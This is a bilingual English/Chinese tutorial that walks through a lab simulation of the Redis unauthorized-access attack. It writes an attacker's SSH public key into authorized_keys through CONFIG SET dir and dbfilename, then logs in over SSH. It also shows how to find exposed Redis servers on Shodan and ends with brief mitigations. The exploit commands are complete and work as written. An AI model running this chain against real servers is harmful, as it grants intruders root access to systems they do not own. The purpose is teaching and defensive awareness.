redis unauthorized access vulnerability simulation(redis未经授权的访问漏洞模拟)

Redis, is an open source, widely popular data structure tool that can be used as an in-memory distributed database, message broker or cache. Since it is designed to be accessed inside trusted environments, it should not be exposed on the Internet. However, some Redis’ are bind to public interface and even has no password authentication protection.

Redis是一个开源的、广泛流行的数据结构工具,可以用作内存中的分布式数据库、消息代理或缓存。因为它被设计为在受信任的环境中访问,所以不应该在 Internet 上公开。然而,一些 Redis 绑定到公共接口,甚至没有密码身份验证保护。

Under certain conditions, if Redis runs with the root account (or not even), attackers can write an SSH public key file to the root account, directly logging on to the victim server through SSH. This may allow hackers to gain server privileges, delete or steal data, or even lead to an encryption extortion, critically endangering normal business services.

在某些条件下,如果Redis使用 root 帐户运行(甚至不使用),攻击者可以向根帐户写入 SSH 公钥文件,直接通过 SSH 登录到受害服务器。这可能使黑客获得服务器特权,删除或窃取数据,甚至导致加密勒索,严重危害正常的业务服务。

The simplified flow of this exploit is:

  • Login to a unprotected Redis
  • Change it’s backup location to .ssh directory — Write the SSH Keys to new backup location
  • Remote connect and login to the target server using SSH key

We should already be familiar how automatic SSH login with private + public keys works.

简化实现流程如下:

  • 登录到一个无保护的 Redis
  • 将备份位置更改为 .ssh 目录 —— 将SSH密钥写入新的备份位置
  • 使用 SSH 密钥远程连接并登录到目标服务器

我们应该已经熟悉了如何使用私有+公钥自动登录 SSH。

Simulation

模拟

Now let’s get our feet wet and set up a target machine. We’ll need two machines, they can be real machines, virtual machines, or remote machines (VPS). As long as the attack end is able to ping the target end, we are good.

现在让我们先把做好模拟前准备。我们需要两台机器,它们可以是真正的机器、虚拟机或远程机器(VPS)。只要攻击端能够 ping 目标端就可以了。

Environment setup for this example:

  • Target Machine: Redis-3.2.11 on Ubuntu
  • Attack Machine: Platform you like with Redis (I used Kali)

示例中的环境如下:

  • 目标机器:ubuntu 下有 Redis-3.2.11
  • 攻击机器:你喜欢的平台与 Redis(我用的是 Kali)

Set Up Target Machine:

设定目标机器:

First, let us set up the target machine with Redis. Download source code by

首先,让我们配置目标机器的 Reids。下载源代码

1
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

Extract and build

提取和构建

1
2
tar xzf redis-3.2.11.tar.gz cd redis-3.2.11
make

After make, we use our favorite editor to open redis.conf in redis-3.2.11 folder. In order to be remotely accessed, we will need to comment out line bind 127.0.0.1 and disable protected-mode as shown below.

编译后,我们使用我们最喜欢的编辑器打开 redis-3.2.11 文件夹 的 redis.conf。为了远程访问,我们需要注释掉 bind 127.0.0.1 行,并禁用 protected-mode,如下所示。

Now fire up Redis with the configuration file we just edited. Note that redis-server is in redis-3.2.11/src.

现在用我们刚刚编辑的配置文件启动Redis。注意 redis-serverredis-3.2.11/src 中。

1
src/redis-server redis.conf

So far, we have finished setting up the target server. Additionally, we should also check if we have .ssh folder. If not, we should create it for the attack later.

到目前为止,我们已经完成了目标服务器的设置。此外,我们还应该检查我们是否有 .ssh的文件夹。如果没有,我们应该为以后的攻击创建它。

Attack Machine:

攻击机器:

First, make sure we can ping the target. Then, we will generate a private key and public key for SSHing into the target machine later. Run the following command to generate SSH keys and leave passphrase empty.

首先,确保我们能锁定目标。然后,我们将生成私钥和公钥,以便稍后将其插入目标机器。运行以下命令生成SSH密钥,并保留密码为空。

1
ssh-keygen -t rsa

Next, enter the .ssh folder. If you are root user, enter /.ssh, otherwise ~/.ssh, then copy the private key in to temp.txt.

下一步,进入 .ssh 目录。如果你是 root 用户,进入 /.ssh,其他的进入 ~/.ssh。复制私钥到 temp.txt

1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt

Some may be wondering that why do we put two blank lines before and after the public key? We will leave that as a mystery for right now if you don’t know :)

有些人可能想知道,为什么在公钥之前和之后要放两行空白?如果你不知道,我们暂时把它作为一个谜 :)

Good! So far we have generated a pair a keys, we will need to find a way to smuggle the public key to the Redis server (target machine.)

好了!到目前为止,我们已经生成了一对密钥,我们将需要找到一种方法将公钥偷运到Redis服务器(目标机器)。

We are going to use redis-cli, the Redis command line interface, to send commands to Redis and read the replies sent by the server directly in the terminal.

我们将使用 redis-cli,即 Redis 命令行接口,向 Redis 发送命令,并直接读取终端服务器发送的响应。

Run the following commands in redis-3.2.11/src folder. (Or depending where we are, we can always specify the path to the files we use)

redis-3.2.11/src 文件夹中运行以下命令。(或者根据我们的位置,我们总是可以指定我们使用的文件的路径)

1
cat /.ssh/temp.txt | redis-cli -h 203.137.255.255 -x set s-key

Here, let’s take a look at the command. We use -h flag to specify the remote Redis server IP so that redis-cli knows where to connect and send commands. The part after -x is saying that we are setting the key in redis named s-key with the value in temp.txt.

在这里,让我们看一下命令。我们使用 -h 标志来指定远程 Redis 服务器 IP,以便 redis-cli 知道在何处连接和发送命令。-x 后面的部分表示,我们正在设置 redis 中的键名为 s-key,其值位于 temp.txt 中。

Yea, we have a key with our SSH key sneaked in! Let’s connect to the Redis and play around its configuration. Use redis-cli to connect to the Redis server again.

是的,我们有一个密钥,SSH 密钥偷偷溜进来了!让我们连接到Redis并研究它的配置。再次使用 redis-cli 连接到 Redis 服务器。

Looking at the above screenshot, we first verify the value of the key s-key by using the command GET s-key, which is what we want – the public key with two blank lines before and after. Then I tried the command “dir” just to see what it says (kidding). What we actually want to do here is to get the value of “s-key” (SSH public key) stored in the .ssh folder so that we can remote SSH login to the target machine whithout having to type the password.

查看上面的屏幕截图,我们首先使用命令 GET s-key 来验证键 s-key 的值,这正是我们想要的——前后各有两行空白的公钥。然后,我尝试命令 “dir”,只是为了看看它说了什么(开玩笑)。这里我们真正想做的是获取存储在 .ssh 文件夹中的“s-key”(SSH公钥)的值,这样我们就可以远程ssh登录到目标机器,而不需要输入密码。

Thus, we will do this:

因此,我们将这样做:

1
2
3
4
5
6
CONFIG GET dir # get your redis directory
# In the output of above command "/home/xxxx/redis-3.2.11/src" is the directory where redis server is installed. CONFIG SET dir
/home/xxxx/.ssh # set the backup location to the .ssh folder
(or) CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys
# lastly we back our data containing our "s-key" key-value pair up in the .ssh folder
save

The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured Source: ssh.com
The screenshot shown above already demonstrates the steps mentioned here.

SSH中的 authorized_keys 文件指定了 SSH 密钥,可用于登录到文件配置源的用户帐户: ssh.com
上面的截图已经演示了这里提到的步骤。

Harvest Time

结果时间

On Attack Machine, try to SSH in the Target Machine using the following command.

在攻击机器上,尝试使用下面的命令在目标机器上SSH。

1
2
# command: private key username@server IP
ssh -i id_rsa username@203.137.255.255

YAS! As we can see, we have a successful auto-login with SSH keys! Voila, we have now completed the attack simulation. 😃

好,可以看到,我们成功地使用 SSH 密钥自动登录!瞧,我们现在已经完成了攻击模拟。😃

(Smiley face actually means that I’m finally almost done writing this up 😂)

(笑脸实际上意味着我差不多写完了😂)

At the end of this section, I would like to show what is Redis’s backup file look like.

在本节的最后,我想展示一下什么是 Redis 的备份文件。

Notice the unreadable characters? Add “\n\n” before and after the key content was just to be safe and separate it from other “stuff” so that it can be parsed correctly. 👌

注意到这些不可读的字符了吗?在关键内容之前和之后添加“\n\n”只是为了安全起见,并将其与其他“内容”分开,以便正确解析。

Use Search Engine to find Vulnerable Redis Servers

使用搜索引擎查找易受攻击的Redis服务器

Alrighty, as I mentioned, we are going to use Shodan to search servers that has Redis footprint (characteristics).

好的,正如我提到的,我们将使用 Shodan 来搜索具有 Redis footprint(特征)的服务器。

Let us do a simple search by Redis’ default port.

让我们做一个简单的搜索,通过Redis的默认端口。

Looks like we have 75,665 search results. Aaaaaand guess what! Right down there (not shown but we can see it if we scroll down) there are TONS of host that has NO password protection!!

看起来我们有 75,665 个搜索结果。猜猜看!就在那里(没有显示,但我们可以看到,如果我们向下滚动)有些主机没有密码保护!!

This vulnerability was found years ago and still countless of machines are opening up themselves in such an easy way for attackers to have fun in there server…

这个漏洞是几年前发现的,仍然有无数的机器以这种简单的方式打开自己,让攻击者在那里的服务器中得到乐趣…

According to Shodan, there are around 56,000 unprotected Redis instances in 2015.

根据 Shodan 的数据,2015 年大约有 5,6000 个不受保护的Redis实例。

According to ZoomEye, the distribution of the instances is.

根据 ZoomEye,实例的分布是。

According to ZoomEye, the top ranking countries of these instances are: China, USA, Germany…

ZoomEye表示,这些例子中排名最高的国家是:中国、美国、德国……

Okay, back to the business. So how do we verify if a server is protected using python? It turns out to be fairly simple.

好了,回到正题。那么,我们如何验证是否使用 python 保护服务器呢?结果相当简单。

  1. Use socket to connect to the target IP

  2. Perform a GET request

  3. If the server is unprotected, you GET request will succeed; otherwise it will fail

  4. 使用套接字连接到目标IP

  5. 执行GET请求

  6. 如果服务器不受保护,您的GET请求将成功;否则就会失败

Mitigation

减轻

  • Don’t bind to 0.0.0.0

  • If you have to, change the default port (6379)

  • Set a password (for everything)

  • 不要绑定 0.0.0.0

  • 如果有必要的话,修改默认端口 (6379)

  • 为所有的 Reids 设置密码

Sep 11, 2018 (2018-09-11)

author: Victor Zhu

link: https://medium.com/@Victor.Z.Zhu/redis-unauthorized-access-vulnerability-simulation-victor-zhu-ac7a71b2e419